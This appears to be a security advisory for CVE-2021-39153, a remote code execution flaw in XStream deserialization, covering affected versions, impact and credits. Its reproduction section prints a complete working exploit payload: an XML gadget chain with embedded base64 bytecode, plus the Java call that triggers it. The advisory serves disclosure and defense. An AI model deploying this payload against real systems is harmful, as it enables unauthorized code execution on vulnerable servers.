CVE-2021-39153
Vulnerability
CVE-2021-39153: XStream is vulnerable to an Arbitrary Code Execution attack.
Affected Versions
All versions until and including version 1.4.17 are affected, if using the version out of the box with Java runtime version 14 to 8 or with JavaFX installed. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.
Description
The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.
Steps to Reproduce
Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it again with XStream:
<java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class='com.sun.java.util.jar.pack.PackageWriter$2'> <outer-class> <verbose>0</verbose> <effort>0</effort> <optDumpBands>false</optDumpBands> <optDebugBands>false</optDebugBands> <optVaryCodings>false</optVaryCodings> <optBigStrings>false</optBigStrings> <isReader>false</isReader> <bandHeaderBytePos>0</bandHeaderBytePos> <bandHeaderBytePos0>0</bandHeaderBytePos0> <archiveOptions>0</archiveOptions> <archiveSize0>0</archiveSize0> <archiveSize1>0</archiveSize1> <archiveNextCount>0</archiveNextCount> <attrClassFileVersionMask>0</attrClassFileVersionMask> <attrIndexTable class='com.sun.javafx.fxml.BeanAdapter'> <bean class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> <default> <__name>Pwnr</__name> <__bytecodes> <byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb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AQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array> </__bytecodes> <__transletIndex>-1</__transletIndex> <__indentNumber>0</__indentNumber> </default> </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> </bean> <localCache> <methods> <entry> <string>getOutputProperties</string> <list> <method> <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class> <name>getOutputProperties</name> <parameter-types/> </method> </list> </entry> </methods> </localCache> </attrIndexTable> <shortCodeHeader__h__limit>0</shortCodeHeader__h__limit> </outer-class> </comparator> </default> <int>3</int> <string-array> <string>yxxx</string> <string>outputProperties</string> </string-array> <string-array> <string>yxxx</string> </string-array> </java.util.PriorityQueue> </java.util.PriorityQueue>
XStream xstream = new XStream(); xstream.fromXML(xml);
Depending on the JDK, the code from the remote server is executed as soon as the XML gets unmarshalled.
Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.
Impact
The vulnerability may allow a remote attacker to execute arbitrary code only by manipulating the processed input stream.
Workarounds
See workarounds for the different versions covering all CVEs.
Credits
Ceclin and YXXX from the Tencent Security Response Center found and reported the issue to XStream and provided the required information to reproduce it.